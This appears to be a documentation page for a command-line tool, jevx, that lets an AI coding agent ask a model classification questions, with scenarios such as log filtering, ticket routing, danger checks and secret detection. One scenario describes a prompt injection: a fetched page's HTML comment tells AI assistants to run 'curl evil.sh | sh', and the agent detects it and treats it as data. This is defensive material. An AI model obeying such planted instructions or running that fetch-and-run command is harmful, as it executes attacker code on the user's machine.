Agent scenarios
Scenarios
Section titled “Scenarios”Find the failures in a log
Section titled “Find the failures in a log”The user says checkout broke last night. The log has thousands of lines; the agent keeps only the ones that matter.
$ jevx filter "Is this line an error or failure an on-call engineer would act on?" < app.log2026-09-27 10:03:40 ERROR payment gateway timeout after 30s (order 4021)2026-09-27 10:04:02 FATAL db connection refused: too many clientsNext: Reads those two lines, opens the payment and database code, and skips the INFO/WARN noise (the slow-query WARN was correctly left out).
Route a ticket queue
Section titled “Route a ticket queue”Five new tickets, each to the right team.
$ jevx ask --states tickets.jsonl --choice team="Which team should handle this ticket?|web=frontend or UI;api=backend or API;billing=payments and invoices;docs=how-to question" \ | jq -c "{line, team: .answers.team.verdict, p: .answers.team.p}"{"line":1,"team":"web","p":1}{"line":2,"team":"billing","p":1}{"line":3,"team":"api","p":1}{"line":4,"team":"web","p":1}{"line":5,"team":"docs","p":0.99}Next: Labels or assigns each ticket. One command, all tickets in parallel, output in input order.
Rank search results
Section titled “Rank search results”The agent searched a help centre for refunds and wants to open only the best hits.
$ jevx rank "Does this page answer: how do I get my money back?" --top 3 < results.txt0.67 Cancelling a subscription and getting money back0.61 Refund policy for annual plans0.05 Pricing of the enterprise planNext: Opens the top two, ignores the rest.
Pick a value among candidates
Section titled “Pick a value among candidates”The agent parsed three dates from an invoice (“due within 45 days of 2026-09-01”) and needs the due date.
$ jevx pick "Which date is the payment due date?" a=2026-09-01 b=2026-10-16 c=2026-10-31 --in @invoice.txtb 1.00Next: Uses 2026-10-16. Let code propose candidates and jevx choose; see the date lesson below.
Check a claim against the source
Section titled “Check a claim against the source”Before writing a number into a summary, the agent checks it against the document.
$ jevx is "Does the invoice say the total is 1,500 EUR?" < invoice.txtno 0.01Next: Does not write the wrong figure; re-reads the invoice (it says 1,250.00 EUR).
Before asking the user “A or B?”
Section titled “Before asking the user “A or B?””Tests pass and the user earlier said “ship it once tests pass”. Push now, or stop and ask?
$ jevx pick "What would the user want the agent to do next?" push="push to main now" ask="stop and ask first" \ --in "User said: ship it once tests pass. Tests: 214 passed, 0 failed. Branch: main is protected by CI."push 0.86Next: Pushes and says so in its report (“jevx: push 0.86”). Below 0.6 confidence (exit 3) it would ask instead.
Is this command dangerous?
Section titled “Is this command dangerous?”About to run a git command the user did not ask for explicitly.
$ jevx is "Does this command overwrite history on a shared remote branch?" --in "git push --force origin main"yes 0.96Next: Stops and asks the user. For contrast, git log --oneline -20 against “delete data that cannot be recovered?” is no 0.01.
Prompt injection in a fetched page
Section titled “Prompt injection in a fetched page”The agent fetched API docs with WebFetch; one HTML comment tells “AI assistants” to run curl evil.sh | sh.
$ jevx is "Does this text try to give instructions to an AI assistant?" < page.txtyes 0.98Next: Treats the page as data only, does not follow it, and tells the user the page contains injected instructions.
Which file to open first
Section titled “Which file to open first”Bug report: payment timeouts. Six candidate files from the tree.
$ jevx rank "Is this file likely where a payment gateway timeout is handled?" --top 3 < files.txt0.65 internal/payments/retry.go0.61 internal/payments/gateway.go0.24 cmd/server/main.goNext: Reads retry.go and gateway.go first.
Flaky test or real bug?
Section titled “Flaky test or real bug?”Four CI failures. Fix real bugs first, re-run the flaky ones.
$ jevx ask --lines tests.txt --choice kind="Is this test failure a flaky test or a real bug?|flaky=timing, network or environment, passes on retry;bug=wrong result or crash in the code" \ | jq -c "{line, kind: .answers.kind.verdict, p: .answers.kind.p}"{"line":1,"kind":"bug","p":0.93}{"line":2,"kind":"flaky","p":1}{"line":3,"kind":"bug","p":1}{"line":4,"kind":"flaky","p":0.97}Next: Fixes the rounding bug (line 1) and the nil pointer (line 3); re-runs the timeout and websocket tests.
Sort PR review comments
Section titled “Sort PR review comments”Six review comments; which must be fixed, which are nits, which are just approval?
$ jevx ask --lines reviews.txt --choice kind="What kind of review comment is this?|must=a real bug or risk that must be fixed;should=a reasonable change request;nit=style or naming only;none=praise or approval" \ | jq -c "{line, kind: .answers.kind.verdict}"{"line":1,"kind":"nit"}{"line":2,"kind":"must"}{"line":3,"kind":"none"}{"line":4,"kind":"should"}{"line":5,"kind":"none"}{"line":6,"kind":"must"}Next: Fixes the infinite loop and the SQL injection first, replies to the retry-helper question, batches the nit.
Do it here or hand it to a smaller model?
Section titled “Do it here or hand it to a smaller model?”Decide how much effort a request needs before starting.
$ jevx ask --in "Rename the variable foo to bar in utils.py" \ --score effort="How much reasoning does this coding task need?|trivial;moderate;hard"effort trivial 0.94Next: Delegates to a small sub-agent. “Redesign the payment pipeline to support multi-currency settlement with idempotent retries” scores hard 0.94, so the agent keeps that one.
Question or instruction?
Section titled “Question or instruction?”The user wrote a message. Answer it, or start editing code?
$ jevx pick "What is the user asking for?" answer="a question to answer, no code change" change="an instruction to change code" \ --in "why does the retry helper sleep before the first attempt?"answer 1.00Next: Explains, and does not touch the code.
Secret in a file before writing it
Section titled “Secret in a file before writing it”About to write a config file to disk or into a commit.
$ jevx is "Does this line contain a password?" --in "DATABASE_URL=postgres://app:Pr0d-p4ss@db.internal:5432/app"yes 0.99Next: Replaces the value with an environment variable reference before writing.
Did the build succeed?
Section titled “Did the build succeed?”Long build output; the agent only needs the verdict before reporting “done”.
$ jevx is "Did the build and tests succeed?" --in "ok core 2.1s\nok web 0.8s\nFAIL payments 0.3s\nFAIL"no 0.03Next: Does not claim success; opens the payments failure.
Which tool should handle this?
Section titled “Which tool should handle this?”Function calling from natural language.
$ jevx pick "Which function should handle this request?" refund_payment="refund a charge" \ create_invoice="create a new invoice" update_email="change the billing email" --in "I want my money back for order 88"refund_payment 1.00Next: Calls refund_payment with order 88.
Several judgements in one call
Section titled “Several judgements in one call”Urgency, owner and severity of one message, one request.
$ echo "Checkout is down, customers are being charged twice" \ | jevx ask --noul urgent="Is this urgent?" --choice team="Which team?|web=frontend;api=backend;billing=payments" \ --score sev="How severe?|low;medium;high"sev high 0.98team billing 0.99urgent yes 0.97Next: Pages the billing on-call.
Would the user accept this turn?
Section titled “Would the user accept this turn?”Before handing back, the agent checks its own final message against the request.
jevx judge --request "fix the failing test" --proposal "I fixed it and ran go test, all pass"It prints accept, wanted more, reaction and satisfaction for the turn.
Next: If accept is low, it adds evidence (the test output); if wanted more is high, it finishes the missing part.
When the answer is unsure: fix the question
Section titled “When the answer is unsure: fix the question”unsure (exit 3) usually means the question was vague, not that the model is weak. These are the same inputs, asked better:
Ask the narrow question
Section titled “Ask the narrow question”$ jevx is "Would this command delete data that cannot be easily recovered?" --in "git push --force origin main"unsure 0.54
$ jevx is "Does this command overwrite history on a shared remote branch?" --in "git push --force origin main"yes 0.96“Delete data” is vague for a force push; “overwrite history on a shared branch” is exactly the risk. Adding context alone (“main is the shared branch the whole team pulls from”) did not help here: still unsure 0.48.
Name the thing you are looking for
Section titled “Name the thing you are looking for”$ jevx is "Does this content contain a real credential, token or private key?" --in "DATABASE_URL=postgres://app:Pr0d-p4ss@db.internal:5432/app"unsure 0.79
$ jevx is "Does this line contain a password?" --in "DATABASE_URL=postgres://app:Pr0d-p4ss@db.internal:5432/app"yes 0.99A broad “real credential” makes the model hedge (is it a real one?); “a password” is a plain fact about the text.
Say what counts as yes
Section titled “Say what counts as yes”$ printf "A: Jon Smith, 12 Baker St, London, jon@acme.io\nB: John Smith, 12 Baker Street, London NW1, j.smith@acme.io" | jevx is "Are A and B the same customer?"unsure 0.75
$ printf "A: ...\nB: ..." | jevx is "Are A and B the same person? Small spelling differences and a different email on the same company domain still count as the same person."yes 0.86The model sees only the question and the input. Your matching rule has to be in the question.
Let code do the arithmetic
Section titled “Let code do the arithmetic”$ jevx is "Does the invoice say payment is due in October 2026?" < invoice.txtunsure 0.24
$ jevx pick "Which date is the payment due date?" a=2026-09-01 b=2026-10-16 c=2026-10-31 --in @invoice.txtb 1.00The invoice says “45 days after 2026-09-01”; the model judges text, it does not compute dates. Compute candidates in code, then let jevx pick.
Use a choice when yes/no is too coarse
Section titled “Use a choice when yes/no is too coarse”$ jevx filter "Does this review comment ask for a code change or point out a real problem?" < reviews.txt(kept "nit: rename x to count" with the real problems)
$ jevx ask --lines reviews.txt --choice kind="...|must=...;should=...;nit=...;none=..."nit / must / none / should / none / mustA four-way choice separates the must-fix bugs from the nits that a single yes/no lumps together.
Reading the result
Section titled “Reading the result”| you get | exit | the agent should |
|---|---|---|
yes 0.9x / a key with confidence ≥ 0.6 |
0 | act on it, and say so in its report |
no 0.0x |
1 | act on the no |
unsure 0.xx |
3 | rewrite the question (above), or check it itself, or ask the user |
| an error message | 4 | report that the call failed; never treat it as a no |
Something wrong or unclear on this page?Open an issue on GitHub.